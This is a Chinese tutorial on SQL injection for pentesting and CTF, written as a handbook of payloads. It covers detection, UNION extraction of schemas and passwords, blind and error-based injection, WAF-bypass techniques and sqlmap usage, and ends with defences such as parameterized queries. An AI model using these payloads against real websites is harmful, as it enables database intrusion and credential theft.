SQL注入实战指南:从原理到Payload的攻防解析
1. 项目概述:一份面向实战的SQL注入Payload手册
如果你正在学习网络安全,或者是一名刚入行的渗透测试工程师,那么“SQL注入”这个词对你来说一定不陌生。它就像网络世界里的“万能钥匙”,是Web安全领域最古老、最经典,也最常被利用的漏洞之一。但说实话,很多新手朋友在面对一个可能存在注入的网站时,常常会感到迷茫:我该从哪里下手?该用什么Payload?为什么别人的Payload能跑出数据,我的却不行?
这正是我整理这份《2025版渗透工程师手册:60个SQL注入Payload清单集合》的初衷。这不是一份冷冰冰的命令列表,而是我结合过去几年在真实渗透测试、CTF比赛以及内部靶场演练中积累的经验,为你梳理的一份“从入门到精通”的实战指南。手册里的每一个Payload,都不仅仅是字符串,它背后对应着不同的数据库类型(MySQL、MSSQL、Oracle、PostgreSQL)、不同的注入场景(数字型、字符型、报错型、盲注),以及不同的防御绕过技巧。我的目标很简单:让你拿到这份手册,就能像查字典一样,快速找到应对当前场景的“武器”,并理解为什么这么用,从而真正掌握SQL注入的精髓,而不仅仅是机械地复制粘贴。
2. 核心思路与Payload分类逻辑
在开始罗列具体的Payload之前,我们必须先理清思路。盲目地堆砌60条语句没有意义,关键是要建立一个清晰的分类体系,让你能根据实战中的不同“症状”,快速定位到“药方”。我的分类逻辑主要基于两个维度:注入点类型和利用目的。
2.1 按注入点类型分类:找准攻击入口
这是第一步,也是最重要的一步。判断错误,后续所有Payload都可能无效。主要分为以下几类:
- 数字型注入:注入点参数原本就是数字,例如
id=1。这类注入通常不需要闭合引号,构造起来相对简单。 - 字符型注入:注入点参数是字符串,被单引号
‘或双引号“包裹,例如name=‘admin’。这类注入需要我们先闭合前面的引号,再构造Payload,最后处理后面的引号,有时还需要注释掉后续的SQL代码。 - 搜索型注入:常见于搜索功能,参数可能被包裹在
LIKE ‘%keyword%’中。注入时需要同时考虑百分号%和引号的闭合。 - 其他类型:如HTTP头注入(User-Agent, Referer)、Cookie注入等,其本质仍是字符型或数字型,只是注入的位置不同。
2.2 按利用目的分类:明确攻击步骤
确定了入口,接下来就要明确我们每一步要做什么。SQL注入攻击通常是一个循序渐进的过程:
- 探测与确认:首先证明这里存在SQL注入漏洞。
- 信息收集:获取数据库名、表名、列名等结构信息。
- 数据提取:最终目标,获取表中的实际数据(如用户名、密码)。
- 权限提升与扩展:尝试获取更高数据库权限、读写文件甚至执行系统命令。
基于以上逻辑,我将60个Payload分成了四大章节,并在每个Payload后附上了适用场景、原理简析和注意事项,确保你知其然更知其所以然。
3. 基础探测与确认类Payload(第1-15条)
这类Payload的目标是“发现漏洞”。它们通常比较简短,通过触发数据库的异常行为(如报错、页面内容差异、时间延迟)来确认注入点是否存在以及其类型。
3.1 数字型注入探测
这是最简单的场景。假设原始URL为:http://target.com/page.php?id=1
Payload 1:
id=1 and 1=1与id=1 and 1=2- 原理:
and是逻辑与运算符。1=1永真,1=2永假。如果and 1=1返回正常页面,而and 1=2返回异常页面(空白、错误或与原页面不同),则极可能存在数字型注入。 - 注意:这是最经典的“真值假值”法。但有些网站会对所有请求返回相同页面(如统一错误页),此时该方法失效。
- 原理:
Payload 2:
id=1与id=2-1- 原理:
2-1的结果也是1。如果两个请求返回的内容相同,说明参数被直接代入数学运算,存在数字型注入的可能。 - 注意:这是一个很隐蔽的探测方式,常用于初步试探。
- 原理:
3.2 字符型注入探测
假设原始URL为:http://target.com/page.php?name=Alice
Payload 3:
name=Alice’ and ‘1’=‘1与name=Alice’ and ‘1’=‘2- 原理:我们先闭合原SQL语句中的前引号(在Alice后加
‘),然后插入我们的逻辑and ‘1’=‘1‘。由于字符串需要引号,所以我们自己补上。最终执行的SQL可能是SELECT * FROM users WHERE name=‘Alice’ and ‘1’=‘1’。同样通过真/假逻辑判断。 - 注意:这是字符型注入的经典手法。关键在于引号的闭合。
- 原理:我们先闭合原SQL语句中的前引号(在Alice后加
Payload 4:
name=Alice’(单引号报错)- 原理:直接输入一个单引号,如果网站开启了数据库错误回显,可能会直接暴露出SQL语法错误信息,如
You have an error in your SQL syntax...。这不仅能确认注入,还能获得大量信息。 - 注意:这是一种“暴力”但有效的方法。在渗透测试中,如果目标环境允许,报错信息是宝贵的情报来源。
- 原理:直接输入一个单引号,如果网站开启了数据库错误回显,可能会直接暴露出SQL语法错误信息,如
3.3 通用探测与注释技巧
无论类型,一些Payload可以帮助我们更灵活地探测。
Payload 5:
id=1’ and sleep(5) --+- 原理:
sleep(5)让数据库睡眠5秒。--+是注释符(在URL中+常代表空格),用于注释掉原SQL语句中后续的代码(比如后面的引号或LIMIT子句)。如果页面响应延迟了大约5秒,说明注入成功且是字符型。 - 注意:
sleep函数是MySQL的,其他数据库有类似函数如pg_sleep(PostgreSQL)、WAITFOR DELAY(MSSQL)。--是SQL注释符,+在URL编码中代表空格,确保注释符生效。
- 原理:
Payload 6:
id=1’ and 1=1 #- 原理:
#是另一种SQL注释符(在MySQL中常用)。它的作用和--类似,用于注释后续语句。 - 注意:在URL中,
#通常被当作锚点,需要将其编码为%23才能正确传输:id=1‘ and 1=1 %23。
- 原理:
实操心得:在实际探测中,我通常会按顺序尝试:先简单加减运算(数字型试探),然后加单引号看是否报错,再用and 1=1/and 1=2真值法判断。如果都不明显,最后才用sleep时间盲注法,因为时间延迟最可靠但也最慢、最容易被WAF(Web应用防火墙)识别。同时,浏览器的开发者工具(Network标签)和 Burp Suite 这类代理工具是观察请求与响应的利器,一定要配合使用。
4. 联合查询(UNION)信息收集Payload(第16-35条)
确认注入点后,下一步就是获取数据库结构信息。UNION SELECT是效率最高的方式,但它有两个关键前提:前后查询的列数必须相同,以及数据类型需要兼容。
4.1 判断查询列数
这是使用UNION的第一步。
Payload 16:
id=1‘ order by 1 --+(递增测试)- 原理:
ORDER BY 1表示按第一列排序。如果该列存在,页面正常。我们可以不断增加数字(order by 2, order by 3...),直到页面报错或返回异常。最后一个正常的数字就是当前查询的列数。 - 注意:这是最准确的方法。例如,
order by 5正常而order by 6错误,则列数为5。
- 原理:
Payload 17:
id=-1‘ union select 1,2,3 --+(试错法)- 原理:先将原查询条件设为不存在的值(如
id=-1),让前一个查询结果为空,从而使页面直接显示我们union select的结果。我们不断尝试select 1,select 1,2,select 1,2,3... 直到页面正常显示数字(如页面某处显示了“2”和“3”),这些数字就是我们可以用来回显信息的位置。 - 注意:这种方法一举两得,既判断了列数,又找到了回显点。
- 原理:先将原查询条件设为不存在的值(如
4.2 获取数据库信息
找到回显点后,我们就可以用这些位置替换数字,爆出想要的信息。
Payload 18:
id=-1‘ union select 1, database(), version(), user() --+- 原理:
database()返回当前数据库名,version()返回数据库版本,user()返回当前数据库用户。这是最基础的信息收集。 - 注意:将函数放在回显点位置(例如之前页面显示
2和3的位置)。不同数据库函数不同,如MSSQL用db_name(),@@version。
- 原理:
Payload 19 (MySQL):
id=-1‘ union select 1, group_concat(schema_name), 3 from information_schema.schemata --+- 原理:
information_schema.schemata表存储了所有数据库的信息。group_concat()函数将多行结果合并成一个字符串,避免多次查询。 - 注意:这是获取MySQL所有数据库名的标准方法。如果数据太多
group_concat可能被截断,可以改用limit分页:select schema_name from information_schema.schemata limit 0,1。
- 原理:
4.3 获取表名、列名
知道了数据库名,接下来就是“表”和“列”。
Payload 20 (MySQL):
id=-1‘ union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=‘数据库名’ --+- 原理:查询
information_schema.tables表,筛选出指定数据库(table_schema)下的所有表名(table_name)。 - 注意:
‘数据库名’需要替换成上一步获取的实际名称,如‘dvwa’。
- 原理:查询
Payload 21 (MySQL):
id=-1‘ union select 1, group_concat(column_name), 3 from information_schema.columns where table_schema=‘数据库名’ and table_name=‘表名’ --+- 原理:查询
information_schema.columns表,获取指定数据库和表下的所有列名。 - 注意:这里能拿到关键表的列名,比如
users表下的user,password列。
- 原理:查询
实操心得:UNION注入非常高效,但也是最容易被WAF拦截的。在实际遇到WAF时,我常会尝试对UNION和SELECT进行混淆绕过,比如:
- 大小写混合:
UnIoN SeLeCt - 内联注释(MySQL特有):
/*!UNION*/ /*!SELECT*/ - 空白符替换:用
/**/代替空格:UNION/**/SELECT - 双写关键字:某些简单的WAF过滤可能只替换一次关键字,
UNIUNIONON SELSELECTECT在被过滤掉中间的UNION和SELECT后,剩下的部分又能拼成原单词。 这些技巧需要根据WAF的具体行为进行测试。
5. 布尔盲注与时间盲注Payload(第36-50条)
当页面没有明确回显(既不显示数据,也不报错),但会根据SQL查询的真假返回不同的页面状态(如“存在”与“不存在”)时,就是布尔盲注。如果页面状态毫无差异,只能通过执行时间的长短来判断,就是时间盲注。这两种方式速度慢,但隐蔽性强,适用场景广。
5.1 布尔盲注:基于页面差异的猜测
其核心逻辑是:构造一个条件语句,如果为真,页面返回A状态;为假,返回B状态。通过像“猜数字”一样逐位猜测数据。
Payload 36:
id=1‘ and length(database())=1 --+(猜数据库名长度)- 原理:
length()函数返回字符串长度。我们不断改变等号右边的数字,直到页面返回“真”状态,即可确定长度。 - 注意:这是盲注的第一步,确定目标数据的长度,为后续逐字符猜测设定范围。
- 原理:
Payload 37:
id=1‘ and substr(database(),1,1)=‘a‘ --+(逐字符猜解)- 原理:
substr(string, start, length)函数截取字符串。这里从第1位开始,截取1个字符,判断它是否等于‘a‘。我们可以遍历a-z, 0-9等字符,并通过改变start参数来遍历每一位。 - 注意:这是一个极其耗时的过程,通常需要借助自动化工具(如sqlmap的
--technique=B参数)。ascii()函数常与substr()结合使用,避免引号:and ascii(substr(database(),1,1))=97(97是‘a’的ASCII码)。
- 原理:
5.2 时间盲注:基于响应延迟的猜测
当页面无论真假都完全一样时,我们让数据库在条件为真时“睡一会儿”。
Payload 45 (MySQL):
id=1‘ and if(length(database())=1, sleep(5), 0) --+- 原理:
if(condition, true_value, false_value)函数。如果数据库名长度=1这个条件为真,则执行sleep(5),页面响应会延迟5秒;如果为假,执行0,立即返回。通过观察响应时间来判断条件真假。 - 注意:时间盲注比布尔盲注更慢、更依赖网络稳定性。
sleep时间不宜过长,通常2-5秒即可。其他数据库有类似函数:PostgreSQL的pg_sleep(5), MSSQL的WAITFOR DELAY ‘0:0:5‘。
- 原理:
Payload 46:
id=1‘ and if(ascii(substr(database(),1,1))=97, sleep(2), 0) --+- 原理:结合
if,ascii,substr和sleep,实现逐字符的时间盲注。如果数据库名第一个字符的ASCII码是97(即‘a’),则延迟2秒。 - 注意:这是时间盲注的核心Payload模板。自动化工具sqlmap在时间盲注模式(
--technique=T)下,就是基于此类逻辑进行工作的。
- 原理:结合
实操心得:盲注是体力活,手动操作几乎不可能,必须依赖工具。Sqlmap是首选,但理解其原理至关重要。在手动测试验证漏洞存在时,我常用一个简单的延时Payload来确认时间盲注,比如‘ and sleep(5) --+。一旦确认,就交给sqlmap,并合理设置--level(测试等级)和--risk(风险等级)参数来提高效率。同时,要警惕目标网站可能存在的请求频率限制,过快的请求会导致IP被封锁,在sqlmap中可以使用--delay参数设置请求间隔。
6. 报错注入与进阶绕过Payload(第51-60条)
报错注入是一种利用数据库执行机制故意触发错误,并将查询结果隐藏在错误信息中的技术。它常用于在无法使用UNION(如列数不同)或盲注太慢的情况下,快速获取数据。而进阶绕过则是对抗WAF和过滤机制的必备技能。
6.1 报错注入:从错误中“偷”数据
Payload 51 (MySQL):
id=1‘ and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --+- 原理:
updatexml()是XML处理函数。它的第二个参数需要是合法的XPath格式。我们通过concat(0x7e, (...), 0x7e)将查询结果(如select database())与非法字符~(十六进制0x7e)拼接,导致XPath解析错误,从而在报错信息中带出我们查询的结果。 - 注意:
0x7e是波浪号~的十六进制,常用于构造非法字符。此方法在MySQL 5.1.5以上版本有效,且一次只能回显一行数据中的一个字段。
- 原理:
Payload 52 (MySQL):
id=1‘ and extractvalue(1, concat(0x7e, (select database()))) --+- 原理:与
updatexml类似,extractvalue()也是XML函数,同样利用XPath格式错误来报错回显数据。 - 注意:
updatexml和extractvalue是MySQL报错注入最常用的两个函数,原理相通,可以互换使用。
- 原理:与
6.2 WAF与过滤绕过技巧
现代应用多少都有一些防护,我们需要一些“奇技淫巧”。
Payload 55: 编码绕过
- 原理:对关键词进行URL编码、十六进制编码、Unicode编码等。例如:
UNION SELECT->U%4e%49%4f%4e %53%45%4c%45%43%54(双字节URL编码)SELECT->SELSELECTECT(双写绕过,假设过滤规则是删除SELECT)admin->0x61646d696e(十六进制编码,在SQL中0x开头代表十六进制字符串)
- 注意:编码方式取决于WAF的检测逻辑和数据库的解析顺序。需要多次尝试。
- 原理:对关键词进行URL编码、十六进制编码、Unicode编码等。例如:
Payload 56: 等价函数/语句替换
- 原理:用功能相同的其他函数或语法替换被过滤的关键词。
sleep(5)->benchmark(10000000, md5(‘test‘))(通过大量运算制造延迟)and->&&or->||=->like,rlike,regexp
- 注意:这要求对SQL语法有深入了解。例如在MySQL中,
‘a‘ like ‘a‘等价于‘a‘=‘a‘。
- 原理:用功能相同的其他函数或语法替换被过滤的关键词。
Payload 57: 注释符混淆
- 原理:灵活使用注释符来打断WAF的检测模式。
/*!50000SELECT*/(MySQL中,/*!...*/内的代码在指定版本号以上才会执行,常用于绕过)SELECT/*foobar*/username FROM users(在关键词中插入无关注释)
- 注意:内联注释是MySQL的特色,在其他数据库中可能不适用。
- 原理:灵活使用注释符来打断WAF的检测模式。
Payload 58: 参数污染(HPP)
- 原理:提交多个同名参数,如
?id=1&id=2‘ union select --+。不同的Web服务器/应用框架对同名参数的处理方式不同(可能取第一个、最后一个或拼接),可能绕过对单个参数的检查。 - 注意:这种方式比较玄学,成功率取决于后端技术栈,但作为一种思路值得尝试。
- 原理:提交多个同名参数,如
实操心得:报错注入是我的“心头好”,尤其是在CTF比赛中,它往往能快速打开局面。但要注意,updatexml和extractvalue有长度限制(MySQL默认约32KB),回显过长会被截断。对于数据提取,我通常会先limit 1取一条,或者用substring分段截取。至于绕过,没有银弹,它是一个“试探-反馈-调整”的过程。我习惯先用sqlmap的tamper脚本(如space2comment.py,equaltolike.py)进行自动化测试,同时手动尝试一些简单的编码和替换,观察WAF的拦截日志(如果有的话),从而摸清其规则,进行针对性绕过。
7. 实战串联与自动化工具应用
掌握了这些散装的Payload,我们需要在实战中把它们串联起来。以一个经典的字符型注入为例,假设目标URL是:http://test.com/news.php?id=‘1‘。
- 探测确认:访问
news.php?id=1‘ and ‘1‘=‘1和news.php?id=1‘ and ‘1‘=‘2,观察页面差异,确认字符型注入。 - 判断列数:
news.php?id=1‘ order by 10 --+,逐步增加数字,发现order by 5正常,order by 6错误,说明列数为5。 - 寻找回显点:
news.php?id=-1‘ union select 1,2,3,4,5 --+,发现页面中“2”、“4”的位置显示了数字2和4,这两个位置可用于回显。 - 获取信息:
- 数据库名:
news.php?id=-1‘ union select 1,database(),3,4,5 --+ - 表名:
news.php?id=-1‘ union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=‘获取的库名‘ --+ - 列名:
news.php?id=-1‘ union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=‘库名‘ and table_name=‘目标表名‘ --+
- 数据库名:
- 提取数据:
news.php?id=-1‘ union select 1,concat(username, ‘:‘, password),3,4,5 from 目标表名 --+
而对于自动化,Sqlmap无疑是王者。针对上述场景,一个基本的命令可能是:
sqlmap -u “http://test.com/news.php?id=1“ --batch --random-agent --level 3 --risk 2--batch:非交互模式,自动选择默认选项。--random-agent:使用随机的User-Agent头,避免被简单屏蔽。--level:测试等级(1-5),等级越高,发送的测试Payload越多越复杂。--risk:风险等级(1-3),等级越高,测试的语句可能对数据造成更大风险(如INSERT)。
如果遇到WAF,可以加上--tamper参数调用混淆脚本,例如--tamper=space2comment,equaltolike。对于盲注,可以指定技术--technique=B(布尔)或--technique=T(时间)。
注意事项:自动化工具虽强,但绝非万能。它可能产生大量请求,触发警报。在授权测试中,务必控制速率(--delay),并最好在非业务高峰期进行。手动验证漏洞和理解原理,永远是渗透测试工程师的核心能力,工具只是延伸你双手的利器。
8. 防御视角与总结反思
作为攻击技术的总结,我们必须从防御者的角度思考,才算真正掌握了它。SQL注入的本质是“用户输入被当作代码执行”。因此,防御的核心原则就是:将数据与代码分离。
- 使用参数化查询(预编译语句):这是最根本、最有效的防御手段。它让数据库预先知道SQL的结构,用户输入的数据只会被当作参数处理,无法改变SQL语义。在PHP中使用PDO,在Java中使用PreparedStatement,在Python的sqlite3或SQLAlchemy中也有对应方法。
- 输入验证与过滤:对用户输入进行严格的类型、长度、格式检查。例如,ID参数必须是整数,就可以在接收时强制转换为整型。但切记,这只能作为辅助手段,不能替代参数化查询。
- 最小权限原则:为数据库连接账户分配最小必要的权限。例如,一个只用于查询的Web应用,其数据库账户不应拥有
DROP、FILE、EXECUTE等高级权限。这样即使发生注入,危害也能被限制。 - 避免动态拼接SQL:这是万恶之源。尽量不要使用字符串拼接的方式构造SQL语句。
- 使用Web应用防火墙(WAF):WAF可以过滤常见的恶意Payload,作为一道额外的防线。但它可能被绕过,不能作为唯一的防御措施。
回顾这60个Payload,它们像一套组合拳,应对着不同的场景和防御。从基础的探测到联合查询的信息收集,再到需要耐心的盲注,以及巧妙利用数据库特性的报错注入,最后是矛与盾博弈的绕过技巧。掌握它们,不是为了破坏,而是为了更深刻地理解漏洞的成因与危害,从而能够更好地进行安全评估、漏洞挖掘与修复。真正的精通,是知道如何攻,更知道为何这样能攻,以及如何守。这份手册希望能成为你通往“精通”之路上一份扎实的参考资料。在实战中,最宝贵的永远是具体问题具体分析的能力,以及那份不断尝试、深入探究的好奇心。
